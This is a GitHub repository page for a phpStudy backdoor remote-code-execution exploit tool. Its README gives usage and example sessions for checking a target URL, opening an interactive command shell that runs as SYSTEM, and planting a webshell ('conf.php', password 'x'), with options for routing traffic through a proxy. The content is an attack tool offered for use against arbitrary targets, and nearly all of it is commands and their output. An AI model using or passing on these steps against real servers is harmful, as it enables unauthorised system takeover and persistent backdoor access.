Skip to content

ajisai-babu/phpstudy-backdoor-rce

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 

Repository files navigation

phpstudy-backdoor-rce

phpstudy_rce exp & poc

phpstudy backdoor rce exp & poc

  • usage:
python phpstudy_rce.py                                   
usage: python phpstudy_rce.py -u [url] --shell

PHPstudy RCE POC & EXP

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     指定目标url地址
  --shell               利用漏洞并获取命令行
  --webshell            利用漏洞并上传webshell
  -p PROXY, --proxy PROXY
                        设置代理如socks5://127.0.0.1:7890
  • example:
# poc
python phpstudy_rce.py -u http://xxxx/           
[✅]存在漏洞

# exp - 获取shell
python phpstudy_rce.py -u http://xxxx/ --shell       
[✅]存在漏洞
cmd>>> whoami
nt authority\system
cmd>>> net user
User accounts for \\

-------------------------------------------------------------------------------
Administrator            Guest                    
The command completed with one or more errors.

cmd>>> exit

# exp - 写入webshell
python phpstudy_rce.py -u http://xxxx/ --webshell
[✅]存在漏洞
[✅]获取到网站路径 C:/phpStudy/WWW/
[✅]写入webshell成功 http://xxxx/conf.php 连接密码 x

# proxy
python phpstudy_rce.py -u http://xxxx/ -p socks5://127.0.0.1:7890
python phpstudy_rce.py -u http://xxxx/ --shell -p socks5://127.0.0.1:7890
python phpstudy_rce.py -u http://xxxx/ --webshell -p socks5://127.0.0.1:7890

Stargazers over time

Stargazers over time

About

phpstudy_rce exp & poc

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages